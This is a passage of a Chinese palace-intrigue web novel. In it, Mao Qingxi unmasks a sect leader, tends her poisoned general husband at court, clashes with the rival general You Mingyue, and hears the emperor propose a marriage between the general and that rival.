方才一时兴起,想试试夫人的武功,这下可好,直接把自己给绕进去了。 “这……臧夫人说笑了,今日确是在下与夫人初次相见。” 他强作镇定,眼神却有些闪躲。 “哦?是吗?”茅清兮步步紧逼,“我怎么觉得,段门主的身手,有些眼熟呢?” 她记得,自己替嫁给冀容白后,出城接紫姨回来的那天,曾被人跟踪。 虽然当时不知道对方是谁,可方才与富辰交手,她总觉得,两人的身法路数有几分相似。 富辰额头开始冒汗,他知道,不能让茅清兮再深究下去,否则迟早要露馅,于是连忙岔开话题: “臧夫人想找的玉露草,玄月门确实有些线索。” “哦?”茅清兮挑眉,她倒要看看,这个富辰还能耍出什么花样。 “据我所知,如今天下只有一株玉露草,就在太后手中,是五年前秦家进贡的。” 富辰一边说,一边观察着茅清兮的反应,想看看 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这些传言,她也曾听说过一些,可如今看来,事情远比她想象的要复杂得多。 这些所谓的传言,不过是各方势力放出的**,用来迷惑视听罢了。 至于玄机图的真正下落,恐怕只有极少数人知道。 而那些关于她娘亲的传言,更是无稽之谈。 若是娘亲真有玄机图,那些人又怎会放过她?甚至连她这个女儿都不认? 这一瞬间,往事如潮水般涌上心头,许多原本想不通的事情,现在都变得清晰起来。 大晋、西魏,各方势力都在寻找的东西,还有陆府里那个神秘的王管家…… 这些线索,像是拼图的碎片,逐渐拼凑出一个巨大的阴谋。 而她,似乎就身处这个阴谋的中心。 “臧夫人,如今邹童霜已逝,所有人都认为,玄机图就在你身上。” 富辰的声音,将她从思绪中拉了回来。 茅清兮回过神来,目光如炬: “玄月门不是号称无所不知吗?那你们觉得,这图在不在我手上?” 她想听听,玄月门到底掌握了多少信息。 第二百二十三章 富辰被她问得一愣,他没想到茅清兮会这么直接,一时竟不知该如何回答,试探的问: “臧夫人是……没找到玄机图?” 茅清兮没有回答,只是静静地看着他。 富辰被她看得浑身不自在,额头上的汗珠越来越多,他下意识地打开折扇,轻轻摇了起来。 他越是紧张,扇子就摇得越快,像是要用这扇子扇走心中的不安。 茅清兮看了他半晌,忽然起身: “既然玄月门不知道玄机图的下落,我先撤了。” 她语气冷淡,转身欲走。 富辰以为自己过关了,刚要松一口气,却见茅清兮忽然停下脚步,回头似笑非笑地看着他: “对了,段门主可认得富峻?” 富辰脸色大变,手中的折扇“啪”的一声掉在了地上,他感觉自己的心跳都停止了。 “不,不认识。”他结结巴巴地回答,声音都在颤抖。 “哦,不熟就拉倒。” 茅清兮说完,头也不回地离开了。 富辰瘫坐在椅子上,浑身像是被抽干了力气。 完了,全完了! 富峻那个蠢货,早就提醒过他,夫人的心思缜密,不能在她面前耍任何花招。 他偏偏不信邪,非要试探,结果把自己给搭进去了。 这下可怎么办?主子回来,非扒了他的皮不可! 他越想越害怕,忍不住又抽了自己一巴掌。 茅清兮回到澜府,一眼就看见富峻站在院子里,正翘首以盼。 她走到富峻面前,上上下下打量了他一番,看得富峻心里直发毛。 “夫人,您这是……” 富峻硬着头皮开口,脸上挤出一个比哭还难看的笑容。 茅清兮冷笑一声: “今天在玄月门,我可遇到一个跟你长得极像的人。” 富峻心里咯噔一下,知道事情败露了,他正要开口解释,忽然,一阵急促的脚步声传来。 俞霜神色慌张地跑了进来,连礼数都顾不上了: “夫人,不好了!苏将军驾到了!” “什么?!” 富峻和茅清兮同时惊呼出声。 “苏将军受伤了,被人抬回来的,都到城门前了!” 俞霜上气不接下气地说道,声音里充满了焦急和担忧。 茅清兮只觉得脑子里“嗡”的一声,像是被雷劈中了一样,她用力掐住自己手心,强迫自己保持冷静,抓起放在一旁的三寒霜,转身朝门外冲去。 她的背影,决绝而坚定,带着一股义无反顾的气势。俞霜话音刚落,宫里便来人了,还是太后身边的红人,华嬷嬷。 “臧夫人,奴婢奉太后懿旨,前来迎接您入宫。”华嬷嬷见了茅清兮,屈身行了一礼,脸上堆着笑,眼角的细纹都挤在了一起。 她顿了顿,又补充道:“太后娘娘体恤,知晓苏将军生死未卜,您定然心急如焚,恨不得插翅飞到他身边。特命奴婢前来,请您入宫,亲自照料苏将军。” “虽说……”华嬷嬷欲言又止,眼风扫过一旁,仿佛有些难以启齿,“苏将军身边已有一位女子贴身照料,鞍前马后,寸步不离。但太后娘娘说了,非常时刻,有您在侧,苏将军或许能好得更快些,早日醒来。” 话里话外,滴水不漏,却又暗藏玄机。 富峻听得眼睛都直了,他哪听不出这弦外之音,脱口而出:“大佬又勾搭新欢了?这……这不能够啊!” 话一出口,他才惊觉自己闯了祸,连忙捂住嘴巴,眼神闪烁,一个劲儿地往俞霜身后躲,恨不得找个地缝钻进去。 俞霜暗中观察着茅清兮,见她面上波澜不惊,似乎并未动怒,只是静静地站在那里,像一尊精致的玉雕。 “有劳华嬷嬷费心。”茅清兮的声音听不出喜怒,只是示意俞霜上前。 俞霜会意,从袖中取出一个沉甸甸的钱袋,悄无声息地塞进华嬷嬷手中,压低声音,几乎只有两人能听见:“劳嬷嬷费心,一点小意思,不成敬意。” 华嬷嬷指尖轻捻,感受着钱袋的分量,脸上的笑容更深了几分,却也并未推辞,顺势将钱袋收入袖中,动作娴熟。 富峻在一旁,急得抓耳挠腮,额头都冒出了细汗,支支吾吾地想解释:“夫人,这其中定然有误会……主子他绝不是那样的人……” “误会?”茅清兮眼尾一挑,似笑非笑,嘴角勾起一抹意味深长的弧度,“你家主子,无 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她是江湖儿女,向来敢爱敢恨,眼里容不得沙子,最见不得男人三心二意,自然要为茅清兮打抱不平,哪会给富峻好脸色。 富峻自知理亏,不敢反驳,只能在心里暗暗祈祷,希望自家主子没做错事,千万别惹夫人生气。 他可知道茅清兮的厉害,若是真惹恼了她,主子怕是要吃不了兜着走。毕竟,如此霸气的正宫,打着灯笼都难找,往后怕是再也寻不到了。 华嬷嬷一路将茅清兮带到明德殿的偏殿,步履匆匆。 还未进门,便能听见里面传来一阵阵压抑的低泣和焦躁的踱步声,气氛凝重,让人喘不过气。 君王与御医皆在场,一个个愁眉苦脸,束手无策。 一见到茅清兮,圣上便冷哼一声,鼻子不是鼻子,眼不是眼,语气不善:“她来做什么?何人放她入内?朕不是说了,闲杂人等,一律不得入内!” 华嬷嬷连忙上前,躬身解释,声音比平日里更低了几分:“陛下息怒,太后娘娘见臧夫人忧心忡忡,寝食难安,特意让奴婢带她进来,贴身照料苏将军,也好让苏将军早日康复。 第二百二十四章 ” 圣上拿眼角斜了茅清兮一眼,目光如炬,似乎要将她看穿,没有再说什么,但脸色依旧难看,阴沉得能滴出水来。 茅清兮进殿后,向圣上敛衽行礼,动作规矩,挑不出半点错处,像一株挺拔的青竹,不卑不亢。 她走到床榻边,并未急着查看冀容白的情况,而是先将目光落在了坐在床边的女子身上。 那佳人着一袭红衣骑服,马尾高束,英姿飒爽,与京中那些娇滴滴、弱不禁风的闺阁女子截然不同,眉眼间自带一股凌厉,像一柄出鞘的利剑。 她正端着药碗,神情专注,似乎在思考着什么。 茅清兮的到来,似乎并没有引起任何人的注意,所有人的目光都集中在昏迷不醒的冀容白身上,仿佛她只是个无关紧要的摆设,一个透明人。 尤明月紧锁眉头,并没有急着喂药,而是仔细观察着冀容白的面色,手指轻轻搭在他的手腕上,似乎在感受他的脉搏。 她抽出一方绣着兰草的手帕,轻轻擦拭着冀容白的额头,眼神中流露出难以掩饰的担忧与焦急,却又带着一丝不甘。 君王立于侧方静观,心急如焚,声音都有些发颤:“这药……到底能不能喂?容白何时才能醒来?你们倒是说句话啊!” 太医们低着头,跪了一地,战战兢兢地回答,每个字都像是从牙缝里挤出来的:“回陛下,苏将军……苏将军怕是……” “怕是什么?!”圣上一声怒喝,打断了太医的话,声音尖利,像一把生锈的锯子,“吞吞吐吐,像什么样子!朕要听实话!” “苏将军体内毒素已侵蚀五脏六腑,已是油尽灯枯之兆,纵然用药,也只能……也只是拖延些时日……”太医们的声音越来越小,几乎微不可闻。 “一群庸医!废物!”圣上暴怒,指着太医们的鼻子大骂,“朕养你们有何用?连个病都治不好!救不回容白,朕要你们太医院所有人的脑袋!一个都别想活!” “臣等无能,请陛下恕罪!”太医们吓得瑟瑟发抖,连连叩头,声音都带着哭腔,像一群待宰的羔羊。 圣上怒气冲冲地在殿内来回踱步,胸口剧烈起伏,像一头被困住的野兽,随时都可能择人而噬。 “前些日子,太子不是说他认识一位道长,炼制的丹药可延年益寿,包治百病吗?去,速速传召,命储君领人前来!快去!若能救回容白,朕重重有赏!若是不行……”圣上咬牙切齿,“朕就让他给容白陪葬!” 圣上像是抓住了救命稻草,急切地吩咐道,眼中闪烁着疯狂的光芒。 茅清兮眸光微闪,心中冷笑,这白苏道长,倒是会钻营,竟然攀上了太子这棵高枝。 但眼下,顾不得计较这些,救冀容白要紧,绝不能让他落入白苏道长的手中。 她走到床边,伸手探向冀容白的额头,试探他的体温,动作轻柔,像一片羽毛轻轻拂过。 “你做什么?!”尤明月察觉到她的举动,立刻出声喝止,一把抓住茅清兮的手腕,皱眉问道,语气不善,带着浓浓的戒备。 茅清兮没有理会她,而是反手扣住尤明月的手腕,轻轻一拉,便将她从床边拉开,动作看似轻柔,却不容抗拒。 她垂眸,仔细感受着冀容白微弱的脉搏,眉头越蹙越紧,心中疑云密布。 冀容白的脉象,的确是油尽灯枯之兆,但与之前沈大夫所说的情况,却又有些出入。 她曾在秦府见过沈大夫为冀容白配药,那药虽不能解寒星露之毒,却能暂时压制毒性,维持冀容白的生机,至少能保他两个月无虞。 可如今,冀容白体内的毒性,却像是突然爆发,来势汹汹,远超沈大夫的预期,更像是……有人故意为之。 茅清兮心中一凛,脑海中闪过一个念头,难道是有人给冀容白下了毒? “你到底是什么人?”尤明月见茅清兮不答话,只是盯着冀容白看,语气愈发冷厉,带着质问,“你懂医术吗?这里这么多太医都束手无策,你难道还能起死回生不成?” 她上前一步,挡在茅清兮面前,眼神如刀,上下打量着她,毫不掩饰眼中的轻蔑和敌意。 茅清兮这才抬眸看向她,眼神平静无波,像一潭深不见底的湖水。 一旁的吉公公见状,连忙上前打圆场,笑着介绍,声音尖细,带着几分讨 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什么臧夫人,不过是个空头衔罢了。 冀容白与这位茅清兮,既未行三书六礼,也未曾同牢合卺,更没有夫妻之实,算哪门子的夫妻? 在她看来,冀容白这样的英雄人物,顶天立地,保家卫国,理应配得上一个与他比肩的女子,一个能与他并肩作战,驰骋沙场的巾帼英雄,而不是京城中那些娇柔造作、只知风花雪月、争风吃醋的贵女。 眼前的茅清兮,虽看不出娇弱之态,但在尤明月眼中,并无分别,甚至更多了几分轻视。 这种只会困于内宅,整日围着锅台转,不曾见过世面,更不知人间疾苦的女子,根本配不上冀容白,连给他提鞋都不配。 茅清兮见尤明月不动,也不多言,一把夺过她掌中的汤药,动作干脆利落,没有丝毫犹豫。 尤明月脸色一沉,她行军打仗多年,早已习惯了发号施令,令行禁止,军中无人敢违抗她的命令。茅清兮此举,让她觉得毫无规矩,是对她的挑衅,更是对她权威的挑战。 第二百二十五章 “你……”尤明月刚要发作,却被茅清兮打断。 茅清兮没有理会她的怒气,而是低头闻了闻药碗中的药,一股淡淡的苦涩味扑鼻而来。 这是太医开的方子,并无不妥,药材都是常见的,不温不火混日子,对症下药,但药效甚微。 这药对冀容白的身体无益,但也无害,只能勉强吊着他的命,聊胜于无,想要救命,却是万万不能的。 不过,总比吃白苏道长的那些乱七八糟、来路不明的丹药强,至少不会加速他的死亡。 茅清兮在床边坐下,凝视着冀容白,眼中闪过一丝不易察觉的笑意,转瞬即逝,快的让人以为是错觉。 她伸手,轻轻抚摸着冀容白的颈后,指尖微凉,像一片冰凉的玉石,在寻找着什么。 尤明月见状,再也忍不住,厉声质问:“你在做什么?若不懂医术,就不要乱动!出了事你担待得起吗?你可知道,你面前躺着的是谁?!” 圣上也走了过来,脸色铁青,怒斥道:“茅清兮,休得放肆!来人,把她给朕拿下!” 然而,圣上的话还没说完,茅清兮已经收回了手,动作快的像一道闪电。 她舀起一勺药,送到冀容白唇边,动作轻柔,像是在对待一件稀世珍宝。 出乎所有人意料的是,冀容白竟然缓缓张开了嘴,像是本能一般,又像是被某种力量牵引。 一勺又一勺,药被尽数喂了进去,没有洒出半滴,仿佛他并非昏迷,而是配合着茅清兮的动作。尤明月黛眉微蹙,语气带着三分探寻,七分不悦:“你方才……对他做了什么?” “尤将军不是亲眼瞧见了?”茅清兮抬眸,眼波流转间,笑意如春风拂柳,偏偏带了丝若有若无的疏离。 她放下手中的青瓷茶盏,声音清脆悦耳,却又掷地有声:“其实喂药不难,不过雕虫小技。人在昏迷时,意识虽混沌,身体却还有本能。” 她稍稍卖了个关子,见尤明月果然被勾起了好奇心,才慢悠悠地继续道:“我不过是稍稍用了些……特别的法子,刺激了他的本能罢了。往后尤将军喂药,只要能寻到关键,自然也能事半功倍。” 尤明月盯着茅清兮那张似真似幻的笑脸,心里像被猫爪子挠过,不上不下。 她总觉得茅清兮这话里有话,可偏又寻不出破绽,更无法反驳。毕竟,方才冀容白确确实实把药喝下去了,还是当着她的面,众目睽睽之下。 “但愿如此。”尤明月冷哼一声,算是暂时揭过此事,心里却暗暗留了心。 茅清兮不再理会她,欠身朝圣上敛衽一礼,举手投足间尽是世家贵女的优雅风范,不卑不亢:“陛下,苏将军眼下这般境况,臣妇留在此处也帮不上什么忙。不如先行回府,收拾些苏将军惯用的物什送来,也方便……照料。” 最后两个字,她咬得极轻,却又像一根刺,扎进了在场每一个人的心里,激起微妙的涟漪。 圣上本就不喜茅清兮这般看似柔弱,实则锋芒暗藏的女子,巴不得她离得远远的,当下便不耐烦地挥了挥手,准了她的请求。 尤明月看着茅清兮款款离去的背影,原本紧绷的唇线,此刻却微微上扬,勾勒出一个轻蔑的弧度。 她暗自冷笑,茅清兮这等伎俩,也就在这些愚钝之人面前卖弄一番。 真以为靠些小聪明,就能在冀容白身边站稳脚跟? 她尤明月,绝不会让茅清兮如愿。 宫门外,俞霜如热锅上的蚂蚁,急得团团转。一见茅清兮出来,忙不迭迎了上去。 “回府。”茅清兮轻描淡写地吩咐,仿佛刚刚经历的,不过是寻常小事。 富峻跟在一旁,欲言又止。 他张了张嘴,想问个究竟,可话到嘴边,又硬生生咽了回去。 他抓耳挠腮,急得像猴子捞月,满腹疑问无处诉说,憋得脸红脖子粗。 茅清兮余光瞥见他这副滑稽模样,不由得莞尔:“放心,你家主子吉人自有天相,眼下正与佳人……相谈甚欢呢。” 她故意顿了顿,笑意更浓,带着几分戏谑:“你与其担心他,倒不如未雨绸缪,想想往后新人进门,你该如何应对才是。” 富峻闻言,如遭晴天霹雳,整个人都懵了。 这叫没事?这分明是……天塌了! 主子这究竟是在做什么? 他慌忙追上茅清兮,心中哀嚎,只恨墨川不在。 若墨川在,起码还能给他支支招,分析分析眼下的局势,他也不至于像个无头苍蝇似的乱转。 可怜他一片忠心,却只能干着急,使不上半点力。 回到澜府,茅清兮并未如众人预料的那般,或是愁眉不展,或是暗自神伤,反而一切如常。 她依旧每日看医书,练武,过得比冀容白在府里时,还要充实几分。 至于长明,则更是像脱胎换骨一般,变了个人。 自打秋猎归来,这孩子就跟打了鸡血似的,不仅习武愈发刻苦,还开始读书识字,每日里忙得脚不沾地。 他像是要把过去十几年落下的功课,一股脑儿全补回来似的。 那股子狠劲,不仅让澜府上下叹为观止,甚至还引来了隔壁几家勋贵子弟,纷纷效仿。 一时间,澜府竟成了京城里一道独特的风景。 就在冀容白回京的第三天,京城里忽然刮起了一阵“狂风”,风里裹挟着各种小道消息,比沙尘暴还来得猛烈。 有鼻子有眼地说,秦家大小姐不仅将苏将军从鬼门关拉了回来,在北境时,更是巾帼不让须眉,是位难得的女中豪杰。 据说,她不仅在战场上奋勇杀敌,还替父守城,硬生生挡住了敌军的铁蹄,保住了大周的半壁江山。 还有人说,她之所以能平安护送苏将军回京,全靠着她那身出神入化的医术,以及一颗对苏将军矢志不渝的真心。 这些传言越传越邪乎,甚至有人绘声绘色地描述起秦大小姐在战场上如何英姿飒爽,如何妙手回春,如何对苏将军情深意重…… 总之,尤明月在这些流言中,被塑造成了一个近乎完美的“女神”形象。 而她与冀容白的“佳话”,也成了京城百姓茶余饭后的谈资。 澜府对这些传言,采取了不回应、不解释、不理会的“三不”政策。 倒不是他们当真能做到心如止水,而是压根就不知道外头传成了什么样。 就算知道了,也懒得理会。 更何况,冀容白眼下还在宫里,茅清兮也未曾再去过,谁也不知道究竟发生了什么。 可流言这东西,从来都是三人成虎,越传越离谱。 第二百二十六章 没几日,澜府里也开始流传,说苏将军或许当真要纳新人了。 至于这位新人,是正妻还是侧室,大家伙儿都心照不宣,不敢妄下定论。 毕竟,那可是堂堂三品安国将军,战功赫赫,风头正盛。 真要嫁给冀容白,总不能屈居人下吧? 紫姨忧心忡忡地看着茅清兮,好几次想开口劝她想开些,可话到嘴边,又不知该如何说起,生怕哪句话说得不对,反倒惹她伤心。 茅清兮却像是没事人似的,每日里依旧该做什么做什么,似乎压根没把外头的流言蜚语放在心上。 这日,茅飞羽和清韵又来了澜府。 两人一进门,便气呼呼地嚷嚷开了。 “清兮,外头那些传言,简直……简直不堪入耳!”清韵气得直跺脚,恨不得把那些造谣生事的人,统统抓起来打一顿。 茅飞羽也紧握着小拳头,一副义愤填膺的模样:“姐,要不你还是跟我回宋家吧!省得在这儿受窝囊气!” “就是!”清韵帮腔,“凭什么呀!还没过门呢,就闹出这么多幺蛾子,真要进了门,那还了得?” “果然,男人都不是什么好鸟!”清韵下了结论,语气斩钉截铁。 茅飞羽气得朝她翻白眼,表示不满。 清韵这才意识到自己说错了话,连忙补救,伸手摸了摸他的脑袋,安抚道:“你还小,不算男人。” 茅飞羽皱起小脸,显然并未被这蹩脚的安慰取悦到,反而更生气了。 茅清兮被他们俩逗乐了,合上手中的医书,笑着说:“行了,都别杵着了,跟木头桩子似的。中午都留下吃饭吧,我吩咐后厨多添几个菜,想吃什么尽管说。” “你还吃得下?”清韵轻哼一声,显然对茅清兮的“心大”有些不满。 在她看来,茅清兮这分明是强颜欢笑,打肿脸充胖子。 茅清兮不以为意地耸耸肩:“天塌下来,也得先填饱肚子。一日三餐,这是雷打不动的。你们不饿,我还饿呢。” 清韵和茅飞羽对视一眼,见她这般模样,也不好再说什么,只得留下用膳。 澜府的厨子手艺精湛,很快便张罗了一大桌子菜,色香味俱全,令人食指大动。 几人也不讲究那些繁文缛节,索性把长明和紫姨也叫了来,一同用膳。 席间,清韵边吃边聊起了京中的八卦。 “说起秋猎那事,我娘可是气得够呛。这些时日,背地里不断针对顾国公府。我算是看出来了,平日里看着和和气气的人,真要发起火来,那才叫一个吓人。” 茅清兮点点头,深以为然。 “长公主平日里看着是好脾气,可别以为她是软柿子。这回乐雅书算是踢到铁板了,不仅长公主要对付他,尹贵妃也饶不了他。后宫那位,可不是省油的灯,这回怕是要跟他不死不休了。” 清韵听了连连点头。 “谁说不是呢。不过,我听说了一件更离谱的事。”她压低声音,神神秘秘地说,“我娘说,圣上有意给四公主和乐雅书赐婚,想借此平息风波,给双方一个台阶下。” 茅清兮闻言,倒也不觉得意外,这不过是皇家惯用的伎俩。 四公主失了清白,圣上岂容她败坏皇家颜面。 尽快将她嫁出去,嫁给乐雅书,便是最好的选择。 既能堵住悠悠众口,又能给顾国公府一个交代,还能……卖长公主一个好。 一石三鸟,何乐而不为? 清韵见茅清兮不说话,以为她不信,又补充道:“我娘叮嘱我们,就当此事从未发生,剩下的,她自会安排妥当。清兮,你可别乱说话,更别掺和进去啊。” “知道了。”茅清兮应了一声,心中了然。 长公主精得很,即便乐雅书当真娶了四公主,她也不会就此罢休。 这笔账,她迟早要跟乐雅书算清楚。 正说着,茅飞羽忽然指着长明,惊呼:“哎,你这饭桶,怎么吃这么多?” 茅清兮和清韵循声望去,只见长明正埋头苦吃,面前已经堆了三个空碗,而且看那架势,似乎还能再添几碗。 紫姨笑眯眯地解释:“长明少爷如今练武,正是长身体的时候,得多吃些补回来。” “可他这也吃得太多了吧!”茅飞羽还是觉得不可思议。 他扭头看向茅清兮,语气里带着几分幽怨:“姐,你看他,长得又高又壮,还吃这么多,以后我更打不过他了。” 茅清兮哭笑不得,伸手揉了揉他的脑袋:“你跟他比什么?他年纪本就压你一头,吃得多,长得壮,有什么好奇怪的?难不成你还想跟他一样?” 茅飞羽瘪了瘪嘴,心里更不是滋味了。 他如今反倒成了最矮的一个,还打不过长明,觉得自己受到了全方位的碾压。 紫姨见状,连忙给茅飞羽夹了个鸡腿,安慰道:“少爷你也多吃些,争取早日超过长明少爷。” 她这一说,茅飞羽愈发沮丧,气鼓鼓地啃了一大块鸡肉,像是要把所有的郁闷都发泄在这鸡腿上。 正当这时,澜府的大门忽然被敲响,而且敲得很急,像是出了什么大事。 绿绿匆匆走进来,脸色古怪地禀报:“夫人,安国将军……求见。” “安国将军?”清韵先是一愣,随即反应过来,提高了嗓门,“是她!她来做什么?莫不是来耀武扬威的?” 众人面面相觑,都有些担忧地看向茅清兮,想看看她如何应对。 茅清兮却依旧一副云淡风轻的模样,笑着说:“你们且安心用膳,我去去就来。今儿这顿饭,谁也不许拘束,想吃多少吃多少。” “我也去。”长明放下碗筷,从墙上取下那把不离身的短剑,眼神坚定。 “我也去!”茅飞羽紧随其后,一副跃跃欲试的模样。 清韵亦站起身,摩拳擦掌,正要开口,却被一个突如其来的声音打断了。 “澜府里这般热闹?莫不是在开庆功宴?” 声音清冷,带着几分嘲讽,几分不屑。 尤明月不请自来,径直走了进来。 她身后跟着一脸无奈的绮巧,正不停地朝众人摆手,示意并非她引路,是安国将军自己闯进来的。 尤明月目光扫过众人,最终落在茅清兮身上,冷声质问:“苏将军还在宫里昏迷不醒,生死未卜,你们竟还有心思在此大摆筵席?这就是所谓的夫妻情深?”“安国将军?” 清韵公主的声音陡然拔高,像一只被踩了尾巴的猫, “她来做什么?示威?” 澜府大门被敲得山响,跟催命似的。 茅清兮刚咬下一大口鸡腿肉,正美滋滋地品着,冷不丁听到这么一句,差点噎着。 第二百二十七章 屋里人齐刷刷地看向她,眼神里都带着担忧。 谁都知道,这位安国将军尤明月,跟自家将军的关系,可不简单。 “没事儿,” 茅清兮把嘴里的肉咽下去,拿帕子擦了擦嘴角, “你们吃你们的,我去看看。” 她站起身,又补了一句: “今儿这顿饭谁也别客气啊,放开了吃!” “我也去。” 长明“啪”地放下筷子,从墙上摘下短剑,那架势,像是要去护卫。 “还有我!” 茅飞羽也跟着起哄,抓起一根筷子比划。 清韵公主摩拳擦掌,刚要说话—— “哟,澜府这么热闹啊?这是办喜事儿呢?” 尤明月不请自来,大步流星地走了进来,脸上挂着冷笑。 她身后跟着小丫鬟绮巧,正冲着众人一个劲儿地摆手,那意思是: 可不是我带她进来的啊,是她自己硬闯的! “苏将军还在宫里躺着呢,你们倒好,还有心思在这儿吃吃喝喝?” 尤明月的目光像刀子一样扫过众人,最后落在了茅清兮的脸上, “这就是你说的夫妻情深?” 清韵公主轻哼一声: “哪儿来的这么多管闲事儿的?吃你家大米了?” 跟在尤明月身后的吉公公,汗都下来了,忙解释: “清韵公主息怒,瞧,那位就是安国将军大人……” “哦,安国将军啊。” 清韵公主翻了个白眼, “怎么,澜府现在归安国将军管了?” 尤明月冷哼一声: “苏将军在外征战,出生入死,澜府就该有个后宅的样子!” 茅清兮不紧不慢地问: “怎么,尤将军有意见?” “我只是觉得,主子要有主子的担当!下人就该有下人的自觉!” 尤明月说话硬邦邦的,不留情面。 茅清兮眼神一冷。 “那也要等尤将军成了澜府的主子再说,不然,你说了不算。” “你!” 尤明月被噎了一下,脸色铁青, “我不与你做口舌之争!我与你不同,我的抱负不在内宅,而在沙场!” 尤明月话锋一转,带着几分傲气: “女子也当顶天立地,而不是只会争风吃醋!” 茅清兮听不下去了, 她可以理解尤明月的抱负, 但她接受不了尤明月这莫名其妙的优越感。 “那尤将军最好说到做到,别哪天也哭着喊着要嫁进澜府来!” 茅清兮针锋相对。 “臧夫人,陛下有旨,宣您进宫呢。” 吉公公一看这气氛不对,赶紧出来打圆场。 他可不想掺和到这几个女人的战争里。 “知道了,我换身衣服。” 茅清兮转身进了内室。 清韵公主朝其他人使了个眼色,大伙儿继续吃吃喝喝,把尤明月晾在了一边。 尤明月一脸不屑。 茅清兮换好衣服出来,看到尤明月还站在那里,心中冷笑,却没搭理她。 “吉公公,咱们走吧。” “哎!您这边请!” 吉公公躬身引路。 刚走出几步,尤明月忽然叫住了茅清兮: “据说你也是个练家子?” 茅清兮脚步未停。 尤明月却“呛啷”一声拔出了佩剑,剑尖直指茅清兮后背! 这一下变故突生,谁也没料到。 茅清兮只觉得后背一凉,本能地侧身闪避—— 却见一道寒光闪过,长明挡在了她身前, “师父小心!” “叮——” 一声脆响,短剑架住了尤明月的长剑。 “想跟我师尊过过招,你还不够格!” 长明冷冷地看着尤明月。 尤明月眉头紧锁,没想到这孩子竟能挡住自己这一剑。 她本意并非伤人,只是想试探一下茅清兮。 长明却不给她解释的机会, “看剑!” 短剑如灵蛇出洞,直刺尤明月面门。 “清兮,你徒弟能赢吗?” 清韵公主凑到茅清兮耳边,小声问。 茅清兮微微摇头: “难。” “那可怎么办,要不要帮忙?” 清韵有些担忧。 “不用。” 茅清兮嘴上这么说,心里却有些紧张。 长明的剑法,胜在一个“巧”字,招式灵活多变。 尤明月的剑法,却是战场上磨炼出来的,简洁、凌厉、狠辣。 两人你来我往,剑光闪烁。 一开始,长明还能凭借精妙的招式,与尤明月斗个旗鼓相当。 但时间一长,他的体力渐渐不支。 三十招过后,长明明显落了下风。 尤明月的剑,越来越快,越来越狠。 “小心!” 茅飞羽在一旁看得心惊胆战,忍不住喊出声来。 第三十五招,尤明月的长剑,如毒蛇吐信,直奔长明手腕而去! 这一下要是刺中了,长明的手非废了不可! 茅清兮脸色一变,来不及多想,抄起桌上的一个茶壶,朝两人中间扔了过去! “啪!” 茶壶在两人之间炸开,滚烫的茶水和碎片四处飞溅。 尤明月不得不收剑后退。 “我徒弟认输。” 茅清兮快步上前,把长明护在身后。 长明低着头,紧紧地握着短剑, “师父,我……” “没事,你已经很厉害了。” 茅清兮摸了摸他的头, “再过两年,你一定能打赢她。” “哼,以大欺小,胜之不武!” 清韵公主在一旁帮腔。 尤明月的脸色,一阵青一阵白。 她没想到,茅清兮竟然会用这种方式,来阻止这场比试。 她更没想到,自己竟然会输给一个孩子。 虽然,只是输了一招。 “你!” 尤明月怒火中烧,却又无话可说。 “尤将军,臧夫人,陛下还在宫里等着呢……” 吉公公在一旁急得直跺脚。 “走吧。” 茅清兮不再理会尤明月,转身朝外走去。 尤明月跟在后面,脸色阴沉。 她跟着吉公公来澜府,本就是想来看看,茅清兮究竟是个什么样的人。 现在看来,这个女人,比她想象的,要难对付得多。 进宫的路上,两人一路无话。 快到明德殿的时候,尤明月突然开口: “茅清兮,你可知苏将军在边关经历了什么?” 茅清兮脚步未停, “我只需要知道,他是我的夫君。” “哼,天真!” 尤明月冷笑一声, “你以为,苏将军对你还有几分真心?” 茅清兮心中一动,却并未表现出来。 她暗自把冀容白骂了一顿。 进了明德殿,两人跪拜行礼。 “秦爱卿平身,” 皇上对尤明月的态度,明显比对茅清兮要和蔼得多, “太医说了,容白再有几日便能醒来,这些日子,多亏了你悉心照料。” “真的?” 尤明月的脸上,露出了惊喜的神色, “陛下,下官想去拜访苏将军一面。” “准了。” 皇上笑着说。 尤明月行了一礼,快步朝内殿走去。 她一走,皇上脸上的笑容,立刻消失不见。 他缓缓踱步,目光落在了跪在地上的茅清兮身上。 茅清兮低着头,看不清表情。 第二百二十八章 等了许久,身后传来一阵脚步声, 可脚步声在她身侧停下, 来人并没有进去,像是犹豫。 茅清兮余光瞥见来人是白苏道长。 白苏道长装作压根不认得她的样子,停顿片刻后,匆匆走了进去。 茅清兮的心,猛地一沉。 她想起了一些旧事。 白苏道长因为冀大夫人的事,一直对冀容白心存芥蒂。 如今冀容白昏迷不醒,他真的会尽心救治吗? 万一…… 茅清兮不敢再想下去。 她知道,如果白苏道长得势,那钱云霄的势力,将会更加稳固。 到时候…… 正当茅清兮心乱如麻的时候,皇上从内殿走了出来。 他停在了茅清兮的面前,明黄的衣角,在她的眼前轻轻晃动。 茅清兮只觉得一股无形的压力,扑面而来。 “茅清兮。” 皇上的声音,冰冷而威严。 “臣妇在。” 茅清兮低眉顺眼地回答。 “尤将军对容白有救命之恩,又不嫌弃他身受重伤,朕心甚慰。” 皇上的声音,听不出喜怒, “朕欲成、人之美,为他二人赐婚,你觉得如何?”“茅清兮,你不同意?” 低沉威严的声音在大殿内回荡,四下骤然静寂,仿佛连呼吸都已停滞。 茅清兮垂着眼睫,纤长的手指不自觉地收紧,指甲深深掐入掌心的软肉,带来一阵细微而尖锐的刺痛。 早在尤明月出言为冀容白辩解时,她心中就隐隐有了预感。 只是,当猜测被证实,预感化为现实,她依然无法平静接受。 “臣妇……” 她张了张口,喉咙却像是被什么堵住,干涩发紧。 “圣上的旨意,臣妇不敢置喙。” 这句话,她说得艰难,每一个字都像是从牙缝中挤出。 “谅你也不敢。” 高坐之上的皇帝冷哼一声,语气中带着不容置疑的威压。 “尤将军是秦家唯一的血脉,她的父兄皆为国捐躯,她自己亦立志镇守云陲。如今她与容白同在云陲抗敌,相互扶持,堪称天作之合。” 皇帝的声音顿了顿,语气里带着一丝不易察觉的审视, “你与容白先前的婚事,虽是朕授意,但他那时昏迷不醒,未曾圆房。如今他既已醒来,便该另择佳配。念在你照顾他一场,留在澜府做个侧夫人,倒也不算委屈了你。” 侧夫人? 茅清兮心口一阵绞痛,几乎要呕出血来。 她茅清兮,宁为寒门妻,不做高门妾! 更何况,那个人还是冀容白。 她若反对,便是抗旨。 她若应允,便是屈辱。 进退维谷间,她反倒冷静了下来。 “陛下说得是。” 她抬起头,目光清澈, “臣女与苏将军之间的婚事,确实不妥……” “哦?此话怎讲?” 皇帝的语气中带着一丝玩味,似乎对她的回答颇感兴趣。 